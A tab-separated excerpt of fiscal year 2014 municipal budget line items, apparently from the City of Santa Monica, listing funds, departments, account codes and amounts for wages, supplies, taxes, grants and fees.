8013	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	523010.0	ENVIRONMENTAL SERVICES FEE	808.0	 Supplies and Expenses	2014	1270.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1270.0
8014	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	523010.0	ENVIRONMENTAL SERVICES FEE	808.0	 Supplies and Expenses	2014	2650.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	2650.0
8015	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	523000.0	VEHICLE MGMT FUND-MAINTENANCE	804.0	 Supplies and Expenses	2014	17323.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	17323.0
8016	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511000.0	PERMANENT EMPLOYEES	804.0	Salaries and Wages	2014	194080.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	194080.0
8017	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE		BLDG/STR MAINT-COLO ESP	808.0	 Supplies and Expenses	2014	20500.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	20500.0
8018	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	522160.0	TRANSFER STATION FEE	810.0	 Supplies and Expenses	2014	1216.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1216.0
8019	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	533220.0	BLDG / STRUCTURE MAINTENANCE	810.0	 Supplies and Expenses	2014	42598.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	42598.0
8020	BA	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	533720.0	RADIO EQUIP & MAINT	806.0	 Supplies and Expenses	2014	30000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	30000.0
8021	BA	IS	4	Special Revenue Source Fund	210	PLANNING & COMM. DEVELOPMENT	267	STRATEGIC & TRANSP. PLANNING	410060.0	COLORADO ESPLANADE CONTRIB	622.0	Other	2014	-708000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-708000.0
8022	BA	IS	1	General Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	400020.0	PROPERTY TAXES - UNSECURED	602.0	Property Taxes	2014	-950000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-950000.0
8023	BA	IS	1	General Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	400040.0	SUPPLEMENTAL PROPERTY TAX	602.0	Property Taxes	2014	-200000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-200000.0
8024	BA	IS	1	General Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	400110.0	FRANCHISE TAX - MISCELLANEOUS	608.0	Licenses and Permits	2014	-20638.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-20638.0
8025	BA	IS	4	Special Revenue Source Fund	130	FINANCE	221	ADMINISTRATION	406000.0	ESTIMATED FEE INCREASES	612.0	Charges for Service	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
8026	BA	IS	44	SCAQMD AB 2766 Fund	130	FINANCE	221	ADMINISTRATION	400750.0	INT DEP / INVESTMENT	616.0	Investment Income	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
8027	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	416	TRANS ENGINEERING & MGMT	410170.0	SIGN REMOVAL	612.0	Charges for Service	2014	-5880.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-5880.0
8028	BA	IS	12	Housing Authority Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	578020.0	HOME PROGRAM ADMIN	908.0	 Supplies and Expenses	2014	-62253.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-62253.0
8029	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	511490.0	OVERTIME	808.0	Salaries and Wages	2014	4545.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	4545.0
8030	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	511748.0	DENTAL	808.0	Salaries and Wages	2014	1217.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1217.0
8031	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	544340.0	INDIRECT COST ALLOCATION	808.0	 Supplies and Expenses	2014	25464.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	25464.0
8032	BA	IS	1	General Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	400351.0	RPTTF RESIDUALS	602.0	Property Taxes	2014	-5120927.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-5120927.0
8033	BA	IS	1	General Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	401210.0	DAMAGE TO CITY PROPERTY	622.0	Other	2014	-50000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-50000.0
8034	BA	IS	20	Miscellaneous Grants Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	400750.0	INT DEP / INVESTMENT	616.0	Investment Income	2014	-66000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-66000.0
8035	BA	IS	20	Miscellaneous Grants Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	408620.0	FTA NEW FREEDOM GRANT	610.0	Intergovernmental	2014	-245862.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-245862.0
8036	BA	IS	4	Special Revenue Source Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	406900.0	DIVCA REV FOR PEG FACILITIES	622.0	Other	2014	-271962.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-271962.0
8037	BA	IS	20	Miscellaneous Grants Fund	500	PUBLIC WORKS	402	ENGINEERING	408640.0	CO ESPLANADE - STPL	610.0	Intergovernmental	2014	-929830.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-929830.0
8038	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS	400318.0	ATTENDANT PARKING-STRUCTRE 7&8	608.0	Licenses and Permits	2014	-4057846.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-4057846.0
8039	BA	IS	20	Miscellaneous Grants Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS		ST JOSEPH CENTER FSS - PROP A	808.0	 Supplies and Expenses	2014	7081.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	7081.0
8040	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	322	CODE COMPLIANCE	408480.0	VACANT PROPERTY MONITORING	612.0	Charges for Service	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
8041	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	657	TRANSIT MAINTENANCE	511748.0	DENTAL	840.0	Salaries and Wages	2014	3915.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	3915.0
8042	BA	IS	20	Miscellaneous Grants Fund	210	PLANNING & COMM. DEVELOPMENT	267	ALL OTHER TRANSACTIONS	408510.0	BIKE NETWORK LINK EXPO-METRO	610.0	Intergovernmental	2014	-1320234.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-1320234.0
8043	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	511000.0	PERMANENT EMPLOYEES	810.0	Salaries and Wages	2014	42697.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	42697.0
8044	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	511500.0	TEMPORARY EMPLOYEES	810.0	Salaries and Wages	2014	29986.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	29986.0
8045	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	511749.0	VISION	810.0	Salaries and Wages	2014	130.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	130.0
8046	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS		DCAP	810.0	Salaries and Wages	2014	60.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	60.0
8047	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS		DISABILITY INSURANCE	810.0	Salaries and Wages	2014	606.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	606.0
8048	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	401700.0	CIVIC AUDITORIUM RENTALS	612.0	Charges for Service	2014	-154800.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-154800.0
8049	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	404170.0	OTHER REVENUE - MISCELLANEOUS	662.0	Other	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
8050	BA	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	499	BEACH MAINTENANCE	511500.0	TEMPORARY EMPLOYEES	808.0	Salaries and Wages	2014	73973.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	73973.0
8051	BA	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	499	BEACH MAINTENANCE	511743.0	MEDICAL - MISC. EMPL	808.0	Salaries and Wages	2014	232342.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	232342.0
8052	BA	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	499	BEACH MAINTENANCE	511749.0	VISION	808.0	Salaries and Wages	2014	1650.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1650.0
8053	BA	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	499	BEACH MAINTENANCE		UNEMPLOYMENT	808.0	Salaries and Wages	2014	2476.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	2476.0
8054	BA	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	499	BEACH MAINTENANCE	544170.0	UNIFORM / PROTECTIVE CLOTHING	808.0	 Supplies and Expenses	2014	6200.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	6200.0
8055	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	511713.0	MEDICARE-MISC EMPLOYEES	808.0	Salaries and Wages	2014	9556.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	9556.0
8056	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	511900.0	VACANCY SAVINGS	808.0	Salaries and Wages	2014	-140425.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-140425.0
8057	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE		DISABILITY INSURANCE	808.0	Salaries and Wages	2014	5042.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	5042.0
8058	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	522210.0	UTILITIES - TELEPHONE	808.0	 Supplies and Expenses	2014	31326.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	31326.0
8059	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	533020.0	GENERAL LIABILITY / AUTO	808.0	 Supplies and Expenses	2014	261952.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	261952.0
8060	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	511743.0	MEDICAL - MISC. EMPL	808.0	Salaries and Wages	2014	617697.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	617697.0
8061	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	511920.0	UNIFORM / TOOL ALLOWANCE	808.0	Salaries and Wages	2014	8916.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	8916.0
8062	BA	IS	20	Miscellaneous Grants Fund	500	PUBLIC WORKS	402	ENGINEERING	403921.0	TEA 21 CAL INCLINE CONSTRUCTIO	610.0	Intergovernmental	2014	-2802552.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-2802552.0
8063	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS	400308.0	VALET PERMITS	608.0	Licenses and Permits	2014	-530000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-530000.0
8064	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS	401328.0	PERMITS - PARKING STRUCTURE 8	608.0	Licenses and Permits	2014	-187308.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-187308.0
8065	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS	407260.0	STRUCTURE 9 PARKING	608.0	Licenses and Permits	2014	-500000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-500000.0
8066	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS	408230.0	MIDTOWN PARKING LOTS	608.0	Licenses and Permits	2014	-122000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-122000.0
8067	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS	522530.0	PARKING OUTREACH	804.0	 Supplies and Expenses	2014	10000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	10000.0
8068	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS	533030.0	PROPERTY INSURANCE	816.0	 Supplies and Expenses	2014	582207.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	582207.0
8069	BA	IS	30	Pier Fund	110	CITY MANAGER	209	OFFICE OF PIER MANAGEMENT	402020.0	SM PIER - PARKING LOTS	650.0	Charges for Service	2014	-1459866.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-1459866.0
8070	BA	IS	30	Pier Fund	110	CITY MANAGER	209	OFFICE OF PIER MANAGEMENT	402030.0	CAROUSEL OPERATION	650.0	Charges for Service	2014	-255000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-255000.0
8071	BA	IS	30	Pier Fund	110	CITY MANAGER	209	OFFICE OF PIER MANAGEMENT	402550.0	INT DEP / INVESTMENT	659.0	Investment Income	2014	-68000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-68000.0
8072	BA	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT	533120.0	SPECIAL EQUIP MAINT	804.0	 Supplies and Expenses	2014	38168.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	38168.0
8073	BA	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT	533230.0	SECURITY SYSTEMS	804.0	 Supplies and Expenses	2014	750.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	750.0
8074	BA	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT	551010.0	CAR WASHES		 Supplies and Expenses	2014	231.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	231.0
8075	BA	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT		DCAP	804.0	Salaries and Wages	2014	2052.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	2052.0
8076	BA	IS	4	Special Revenue Source Fund	210	PLANNING & COMM. DEVELOPMENT	415	TRANSPORTATION MANAGEMENT	409200.0	TRANSIT INFRA CONTRIB-710 WILS	622.0	Other	2014	-244000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-244000.0
8077	BA	IS	4	Special Revenue Source Fund	210	PLANNING & COMM. DEVELOPMENT	265	PCD - ADMINISTRATION	403765.0	DOWNTOWN SHUTTLE PROGRAM	662.0	Other	2014	-68000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-68000.0
8078	BA	IS	1	General Fund	100	CITY COUNCIL	201	CITY COUNCIL	579010.0	DISCRET-PYFC PAYMENT	804.0	 Supplies and Expenses	2014	190000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	190000.0
8079	BA	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	400270.0	ANIMAL LICENSES	608.0	Licenses and Permits	2014	-179899.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-179899.0
8080	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	248	COMMUNITY BROADBAND	511743.0	MEDICAL - MISC. EMPL	804.0	Salaries and Wages	2014	51162.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	51162.0
8081	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	248	COMMUNITY BROADBAND	511746.0	MED TRUST - MISC. EMPL	804.0	Salaries and Wages	2014	6876.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	6876.0
8082	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	248	COMMUNITY BROADBAND	511749.0	VISION	804.0	Salaries and Wages	2014	538.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	538.0
8083	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	248	COMMUNITY BROADBAND		DISABILITY INSURANCE	804.0	Salaries and Wages	2014	3021.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	3021.0
8084	BA	IS	1	General Fund	130	FINANCE	225	PARKING OPERATIONS	404330.0	KEN EDWARDS CENTER PARKING	612.0	Charges for Service	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
8085	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	416	TRANS ENGINEERING & MGMT	588110.0	TRAFFIC CONTROL EQUIPMENT	816.0	 Supplies and Expenses	2014	29051.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	29051.0
8086	BA	IS	1	General Fund	100	CITY COUNCIL	201	CITY COUNCIL	579000.0	COUNCIL DISCRETIONARY FUNDS	804.0	 Supplies and Expenses	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
8087	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE		UTILITIES-WATER-CITY YARDS	808.0	 Supplies and Expenses	2014	25500.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	25500.0
8088	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE		BLDG/STR MAINT-CITY YARDS	808.0	 Supplies and Expenses	2014	45000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	45000.0
8089	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	555010.0	CONTRACTUAL SERVICES	808.0	 Supplies and Expenses	2014	10350.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	10350.0
8090	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	522160.0	TRANSFER STATION FEE	808.0	 Supplies and Expenses	2014	49200.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	49200.0
8091	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	544290.0	OTHER MATERIALS AND SUPPLIES	808.0	 Supplies and Expenses	2014	4800.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	4800.0
8092	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	555210.0	TRAINING	808.0	 Supplies and Expenses	2014	1910.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1910.0
8093	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	522139.0	UTIL-WATER-COM FAC, SC, KEC	808.0	 Supplies and Expenses	2014	10278.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	10278.0
8094	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	533220.0	BLDG / STRUCTURE MAINTENANCE	808.0	 Supplies and Expenses	2014	10600.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	10600.0
8095	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE		CONT SVCS-PSF	808.0	 Supplies and Expenses	2014	211261.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	211261.0
8096	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	555920.0	SANTA MONICA SWIM CENTER	808.0	 Supplies and Expenses	2014	123000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	123000.0
8097	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	555210.0	TRAINING	808.0	 Supplies and Expenses	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
8098	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	544120.0	PERIODICALS	808.0	 Supplies and Expenses	2014	500.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	500.0
8099	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	555140.0	PEST CONTROL	808.0	 Supplies and Expenses	2014	4000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	4000.0
8100	BA	IS	37	Cemetery Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	511840.0	PERS PAYDOWN SAVINGS	804.0	Salaries and Wages	2014	-740.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-740.0
8101	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	544170.0	UNIFORM / PROTECTIVE CLOTHING	808.0	 Supplies and Expenses	2014	15620.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	15620.0
8102	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	511748.0	DENTAL	808.0	Salaries and Wages	2014	41212.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	41212.0
8103	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	511773.0	RETIREMENT - MISC. EMPL	808.0	Salaries and Wages	2014	497636.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	497636.0
8104	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	522160.0	TRANSFER STATION FEE	808.0	 Supplies and Expenses	2014	54500.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	54500.0
8105	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	511490.0	OVERTIME	808.0	Salaries and Wages	2014	13837.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	13837.0
8106	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	511920.0	UNIFORM / TOOL ALLOWANCE	808.0	Salaries and Wages	2014	370.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	370.0
8107	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	522110.0	UTIL - LIGHT / POWER	808.0	 Supplies and Expenses	2014	5698.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	5698.0
8108	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	511743.0	MEDICAL - MISC. EMPL	808.0	Salaries and Wages	2014	320501.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	320501.0
8109	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE		EMPLOYEE HEALTH CONTRIBUTION	808.0	Salaries and Wages	2014	-16025.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-16025.0
8110	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE		DISABILITY INSURANCE	808.0	Salaries and Wages	2014	8505.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	8505.0
8111	BA	IS	1	General Fund	130	FINANCE	224	BUSINESS & REVENUE OPERATIONS	400470.0	POLICE PERMITS	608.0	Licenses and Permits	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
8112	BA	IS	4	Special Revenue Source Fund	130	FINANCE	224	BUSINESS & REVENUE OPERATIONS	406000.0	ESTIMATED FEE INCREASES	612.0	Charges for Service	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
8113	BA	IS	1	General Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	400030.0	PROPERTY TAXES-CLRR-AIRCRAFT	602.0	Property Taxes	2014	-390000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-390000.0
8114	BA	IS	1	General Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	400843.0	VLF SWAP	602.0	Property Taxes	2014	-8756739.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-8756739.0
8115	BA	IS	1	General Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	401420.0	TRANSACTION AND USE TAX	604.0	Sales Tax	2014	-15035683.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-15035683.0
8116	BA	IS	1	General Fund	130	FINANCE	221	ADMINISTRATION	406000.0	ESTIMATED USER FEE INCREASES	612.0	Charges for Service	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
8117	BA	IS	53	Parks and Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	501	ADMINISTRATION & PLANNING SVCS	402950.0	INT DEP / INVESTMENT	616.0	Investment Income	2014	-1000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-1000.0
8118	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	522900.0	MEMBERSHIPS AND DUES	820.0	 Supplies and Expenses	2014	375.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	375.0
8119	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	544170.0	UNIFORM / PROTECTIVE CLOTHING	808.0	 Supplies and Expenses	2014	2101.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	2101.0
8120	BA	IS	1	General Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	404650.0	INTEREST-CIVIC PKG STR BONDS	616.0	Investment Income	2014	-200.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-200.0
8121	BA	IS	4	Special Revenue Source Fund	210	PLANNING & COMM. DEVELOPMENT	416	TRANS ENGINEERING & MGMT	544390.0	OTHER COSTS	816.0	 Supplies and Expenses	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
8122	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511748.0	DENTAL	804.0	Salaries and Wages	2014	2883.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	2883.0
8123	BA	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT		UNEMPLOYMENT	804.0	Salaries and Wages	2014	10649.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	10649.0
8124	BA	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT	523000.0	VEHICLE MGMT FUND-MAINTENANCE	804.0	 Supplies and Expenses	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
8125	BA	IS	20	Miscellaneous Grants Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS	561114.0	OPCC DAYBREAK-PROP A	808.0	 Supplies and Expenses	2014	1900.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1900.0
8126	BA	IS	20	Miscellaneous Grants Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS		PROP A LR TRANS-DISBLD (SMARS)	808.0	 Supplies and Expenses	2014	30000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	30000.0
8127	BA	IS	20	Miscellaneous Grants Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS		PROP A LR TRANS-YOUTH	808.0	 Supplies and Expenses	2014	51600.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	51600.0
8128	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	322	CODE COMPLIANCE	408000.0	INTERFUND SERVICES-RES	612.0	Charges for Service	2014	-194419.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-194419.0
8129	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	511713.0	MEDICARE-MISC EMPLOYEES	810.0	Salaries and Wages	2014	1010.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1010.0
8130	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS		LIFE INSURANCE & AD & D	810.0	Salaries and Wages	2014	190.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	190.0
8131	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	522310.0	OFFICE SUPPLIES / EXPENSES	810.0	 Supplies and Expenses	2014	500.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	500.0
8132	BA	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	499	BEACH MAINTENANCE	511000.0	PERMANENT EMPLOYEES	808.0	Salaries and Wages	2014	770640.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	770640.0
